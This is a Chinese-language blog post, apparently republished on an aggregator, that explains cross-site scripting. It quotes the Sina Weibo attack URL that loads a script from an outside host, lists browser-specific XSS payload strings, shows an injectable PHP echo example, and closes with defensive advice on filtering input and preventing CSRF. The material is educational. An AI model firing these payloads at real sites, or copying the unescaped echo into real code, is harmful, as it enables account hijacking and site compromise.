zoukankan      html  css  js  c++  java
  • xss攻击 悟寰轩

    XSS攻击有两种方法:
    一,把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js自动进行很多操作。

    二,来自外部的攻击,主要指的是构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在
    自己的服务器上,然后通过结合其它技术,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(可能需要hack浏览器)。


    新浪XSS事件:

    Chrome 和 Safari 都没中招。IE、Firefox未能幸免。(创建http对象代码不支持)

    http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    注意,上面URL链接中的其实就是<script src=//www.2kt.cn/images/t.js></script>。

    正常情况下,点击那个URL,应该返回404.如果没有。。。结果就是执行了位于2kt.cn上的js脚本


    1)<table background=”javascript:alert(1)”>

    IE6,7,8,9,和Opera 8.x, 9.x, 10.x 都支持这样的语法。

    2)<meta charset=”mac-farsi”>?script?alert(1)?/script?

    这个问题会存在于所有的Firefox版本中,可以让用户进行XSS(跨站脚本)攻击

    3)<script>&amp;#x61;l&amp;#x65;rt&amp;#40;1)</script>

    在<script>和<style>的TAG间,根据标据,其可以使用这样的字符来运行脚本。这在所有版本的Firefox, Opera, 和 Chrome中都会有问题。


    4)({set/**/$($){_/**/setter=$,_=1}}).$=alert

    上面这个是Firefox的一个语法,也会产生XSS攻击。

    5)<div style=”font-family:foo}x=expression(write(1));”>XXX</div>

    自从IE5.5后,直到IE9,IE就可以支持上面这样的语法。

    6)src中是可以运行脚本的,如:

    <embed src=”javascript:alert(1)”>
    <img src=”javascript:alert(1)”>
    <image src=”javascript:alert(1)”>
    <script src=”javascript:alert(1)”>

    又一个XSS攻击,几乎所有的浏览器都支持这样的方式,如:Firefox全部版本,Chrome 4.x/5.x,Opera 8.x/9.x/10.0,IE 6.0/7.0和Safari 3.x/4.x


    如何避免

    要防止XSS攻击,一般来说有下面几种手段:

    严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
    严格过滤用户的输入。如:
    PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
    Python的cgi.escape()
    ASP的Server.HTMLEncode()。
    Node.js的node-validator。
    Java的xssprotect。https://code.google.com/p/xssprotect/
    在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
    限制cookie的过期时间。
    对于CSRF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,
    这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
    另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、
    Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。
    电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。
    所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

    eg:
    假如我们有这样一段PHP的代码:
    $username = $_GET['username'];
    echo '<div> Welcome, ' . $username . '</div>';
    那么我们可以这样来注入:
    http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

  • 相关阅读:
    C# 托管内存与非托管内存之间的转换
    A*算法详解链接
    【转】使用minizip解压缩多个文件(基于zlib)
    lua中table的遍历,以及删除
    clientHeight scrollHeight offsetHeight
    消息中间件(转)
    js 原型链和继承(转)
    session 和 cookie (转)
    java servlet
    redis 命令
  • 原文地址:https://www.cnblogs.com/sunxucool/p/2939746.html
Copyright © 2011-2022 走看看